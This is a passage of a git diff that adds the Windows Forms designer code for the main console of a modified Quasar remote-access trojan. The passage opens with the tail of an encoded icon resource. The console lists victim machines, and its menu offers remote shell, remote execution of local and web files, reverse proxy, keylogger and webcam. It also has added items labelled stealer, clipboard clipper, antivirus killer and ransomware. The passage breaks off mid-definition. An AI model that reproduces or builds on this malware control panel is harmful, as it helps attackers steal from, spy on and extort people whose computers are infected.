//+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.Designer.cs new file mode 100755 index 0000000..28e8b3d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.Designer.cs @@ -0,0 +1,1112 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmMain + { + /// + /// Erforderliche Designervariable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Verwendete Ressourcen bereinigen. + /// + /// True, wenn verwaltete Ressourcen gel�scht werden sollen; andernfalls False. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Vom Windows Form-Designer generierter Code + + /// + /// Erforderliche Methode f�r die Designerunterst�tzung. + /// Der Inhalt der Methode darf nicht mit dem Code-Editor ge�ndert werden. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmMain)); + this.mainTabControl = new System.Windows.Forms.TabControl(); + this.tabClients = new System.Windows.Forms.TabPage(); + this.lstClients = new Quasar.Server.Controls.AeroListView(); + this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hVersion = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hUserStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hCountry = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hOS = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hAccountType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hActiveWindow = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.systemInformationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fileManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startupManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.taskManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.reverseProxyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.registryEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.localFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); + this.actionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.shutdownToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.restartToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.standbyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.surveillanceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.intelixStealerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.clipperToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.survivalToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.avKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.botKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ransomwareToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.systemOptionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.keyloggerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.userSupportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.showMessageboxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.elevateClientPermissionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.reconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.disconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.selectAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imgFlags = new System.Windows.Forms.ImageList(this.components); + this.searchPanel = new System.Windows.Forms.Panel(); + this.txtSearch = new System.Windows.Forms.TextBox(); + this.lblSearch = new System.Windows.Forms.Label(); + this.tabBuilder = new System.Windows.Forms.TabPage(); + this.tabSettings = new System.Windows.Forms.TabPage(); + this.tabAutoTasks = new System.Windows.Forms.TabPage(); + this.tabStatistics = new System.Windows.Forms.TabPage(); + this.tabAbout = new System.Windows.Forms.TabPage(); + this.notifyIcon = new System.Windows.Forms.NotifyIcon(this.components); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.listenToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.trafficToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.mainTabControl.SuspendLayout(); + this.tabClients.SuspendLayout(); + this.contextMenuStrip.SuspendLayout(); + this.searchPanel.SuspendLayout(); + this.tableLayoutPanel.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.SuspendLayout(); + // + // mainTabControl + // + this.mainTabControl.Controls.Add(this.tabClients); + this.mainTabControl.Controls.Add(this.tabBuilder); + this.mainTabControl.Controls.Add(this.tabSettings); + this.mainTabControl.Controls.Add(this.tabAutoTasks); + this.mainTabControl.Controls.Add(this.tabStatistics); + this.mainTabControl.Controls.Add(this.tabAbout); + this.mainTabControl.Dock = System.Windows.Forms.DockStyle.Fill; + this.mainTabControl.Location = new System.Drawing.Point(4, 4); + this.mainTabControl.Margin = new System.Windows.Forms.Padding(4); + this.mainTabControl.Name = "mainTabControl"; + this.mainTabControl.SelectedIndex = 0; + this.mainTabControl.Size = new System.Drawing.Size(1270, 547); + this.mainTabControl.TabIndex = 0; + // + // tabClients + // + this.tabClients.Controls.Add(this.lstClients); + this.tabClients.Controls.Add(this.searchPanel); + this.tabClients.Location = new System.Drawing.Point(4, 28); + this.tabClients.Margin = new System.Windows.Forms.Padding(4); + this.tabClients.Name = "tabClients"; + this.tabClients.Padding = new System.Windows.Forms.Padding(4); + this.tabClients.Size = new System.Drawing.Size(1262, 515); + this.tabClients.TabIndex = 0; + this.tabClients.Text = "Clients"; + this.tabClients.UseVisualStyleBackColor = true; + // + // lstClients + // + this.lstClients.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hIP, + this.hTag, + this.hUserPC, + this.hVersion, + this.hStatus, + this.hUserStatus, + this.hCountry, + this.hOS, + this.hAccountType, + this.hActiveWindow}); + this.lstClients.ContextMenuStrip = this.contextMenuStrip; + this.lstClients.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstClients.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lstClients.ForeColor = System.Drawing.Color.White; + this.lstClients.FullRowSelect = true; + this.lstClients.HideSelection = false; + this.lstClients.Location = new System.Drawing.Point(4, 39); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstClients.LvwColumnSorter = listViewColumnSorter1; + this.lstClients.Margin = new System.Windows.Forms.Padding(4); + this.lstClients.Name = "lstClients"; + this.lstClients.ShowItemToolTips = true; + this.lstClients.Size = new System.Drawing.Size(1254, 472); + this.lstClients.SmallImageList = this.imgFlags; + this.lstClients.TabIndex = 1; + this.lstClients.UseCompatibleStateImageBehavior = false; + this.lstClients.View = System.Windows.Forms.View.Details; + this.lstClients.SelectedIndexChanged += new System.EventHandler(this.lstClients_SelectedIndexChanged); + // + // hIP + // + this.hIP.Text = "IP Address"; + this.hIP.Width = 112; + // + // hTag + // + this.hTag.Text = "Tag"; + // + // hUserPC + // + this.hUserPC.Text = "User@PC"; + this.hUserPC.Width = 175; + // + // hVersion + // + this.hVersion.Text = "Version"; + this.hVersion.Width = 66; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 78; + // + // hUserStatus + // + this.hUserStatus.Text = "User Status"; + this.hUserStatus.Width = 72; + // + // hCountry + // + this.hCountry.Text = "Country"; + this.hCountry.Width = 117; + // + // hOS + // + this.hOS.Text = "Operating System"; + this.hOS.Width = 222; + // + // hAccountType + // + this.hAccountType.Text = "Account Type"; + this.hAccountType.Width = 100; + // + // hActiveWindow + // + this.hActiveWindow.Text = "Active Window"; + this.hActiveWindow.Width = 200; + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.systemToolStripMenuItem, + this.surveillanceToolStripMenuItem, + this.userSupportToolStripMenuItem, + this.connectionToolStripMenuItem, + this.lineToolStripMenuItem, + this.selectAllToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(209, 130); + // + // systemToolStripMenuItem + // + this.systemToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.systemInformationToolStripMenuItem, + this.fileManagerToolStripMenuItem, + this.startupManagerToolStripMenuItem, + this.taskManagerToolStripMenuItem, + this.remoteShellToolStripMenuItem, + this.connectionsToolStripMenuItem, + this.reverseProxyToolStripMenuItem, + this.registryEditorToolStripMenuItem, + this.remoteExecuteToolStripMenuItem, + this.ctxtLine, + this.actionsToolStripMenuItem}); + this.systemToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.systemToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cog; + this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; + this.systemToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.systemToolStripMenuItem.Text = "Administration"; + // + // systemInformationToolStripMenuItem + // + this.systemInformationToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.systemInformationToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemInformationToolStripMenuItem.Image"))); + this.systemInformationToolStripMenuItem.Name = "systemInformationToolStripMenuItem"; + this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.systemInformationToolStripMenuItem.Text = "System Information"; + this.systemInformationToolStripMenuItem.Click += new System.EventHandler(this.systemInformationToolStripMenuItem_Click); + // + // fileManagerToolStripMenuItem + // + this.fileManagerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.fileManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("fileManagerToolStripMenuItem.Image"))); + this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem"; + this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.fileManagerToolStripMenuItem.Text = "File Manager"; + this.fileManagerToolStripMenuItem.Click += new System.EventHandler(this.fileManagerToolStripMenuItem_Click); + // + // startupManagerToolStripMenuItem + // + this.startupManagerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.startupManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_edit; + this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem"; + this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.startupManagerToolStripMenuItem.Text = "Startup Manager"; + this.startupManagerToolStripMenuItem.Click += new System.EventHandler(this.startupManagerToolStripMenuItem_Click); + // + // taskManagerToolStripMenuItem + // + this.taskManagerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.taskManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_cascade; + this.taskManagerToolStripMenuItem.Name = "taskManagerToolStripMenuItem"; + this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.taskManagerToolStripMenuItem.Text = "Task Manager"; + this.taskManagerToolStripMenuItem.Click += new System.EventHandler(this.taskManagerToolStripMenuItem_Click); + // + // remoteShellToolStripMenuItem + // + this.remoteShellToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.remoteShellToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteShellToolStripMenuItem.Image"))); + this.remoteShellToolStripMenuItem.Name = "remoteShellToolStripMenuItem"; + this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.remoteShellToolStripMenuItem.Text = "Remote Shell"; + this.remoteShellToolStripMenuItem.Click += new System.EventHandler(this.remoteShellToolStripMenuItem_Click); + // + // connectionsToolStripMenuItem + // + this.connectionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.connectionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.transmit_blue; + this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem"; + this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.connectionsToolStripMenuItem.Text = "TCP Connections"; + this.connectionsToolStripMenuItem.Click += new System.EventHandler(this.connectionsToolStripMenuItem_Click); + // + // reverseProxyToolStripMenuItem + // + this.reverseProxyToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.reverseProxyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.server_link; + this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; + this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; + this.reverseProxyToolStripMenuItem.Click += new System.EventHandler(this.reverseProxyToolStripMenuItem_Click); + // + // registryEditorToolStripMenuItem + // + this.registryEditorToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.registryEditorToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.registry; + this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem"; + this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.registryEditorToolStripMenuItem.Text = "Registry Editor"; + this.registryEditorToolStripMenuItem.Click += new System.EventHandler(this.registryEditorToolStripMenuItem_Click); + // + // remoteExecuteToolStripMenuItem + // + this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.localFileToolStripMenuItem, + this.webFileToolStripMenuItem}); + this.remoteExecuteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.remoteExecuteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning; + this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; + this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; + // + // localFileToolStripMenuItem + // + this.localFileToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.localFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drive_go; + this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; + this.localFileToolStripMenuItem.Size = new System.Drawing.Size(163, 26); + this.localFileToolStripMenuItem.Text = "Local File..."; + this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click); + // + // webFileToolStripMenuItem + // + this.webFileToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.webFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.world_go; + this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; + this.webFileToolStripMenuItem.Size = new System.Drawing.Size(163, 26); + this.webFileToolStripMenuItem.Text = "Web File..."; + this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click); + // + // ctxtLine + // + this.ctxtLine.Name = "ctxtLine"; + this.ctxtLine.Size = new System.Drawing.Size(221, 6); + // + // actionsToolStripMenuItem + // + this.actionsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.shutdownToolStripMenuItem, + this.restartToolStripMenuItem, + this.standbyToolStripMenuItem}); + this.actionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.actionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.actions; + this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem"; + this.actionsToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.actionsToolStripMenuItem.Text = "Actions"; + // + // shutdownToolStripMenuItem + // + this.shutdownToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.shutdownToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shutdown; + this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; + this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(158, 26); + this.shutdownToolStripMenuItem.Text = "Shutdown"; + this.shutdownToolStripMenuItem.Click += new System.EventHandler(this.shutdownToolStripMenuItem_Click); + // + // restartToolStripMenuItem + // + this.restartToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.restartToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.restart; + this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; + this.restartToolStripMenuItem.Size = new System.Drawing.Size(158, 26); + this.restartToolStripMenuItem.Text = "Restart"; + this.restartToolStripMenuItem.Click += new System.EventHandler(this.restartToolStripMenuItem_Click); + // + // standbyToolStripMenuItem + // + this.standbyToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.standbyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.standby; + this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem"; + this.standbyToolStripMenuItem.Size = new System.Drawing.Size(158, 26); + 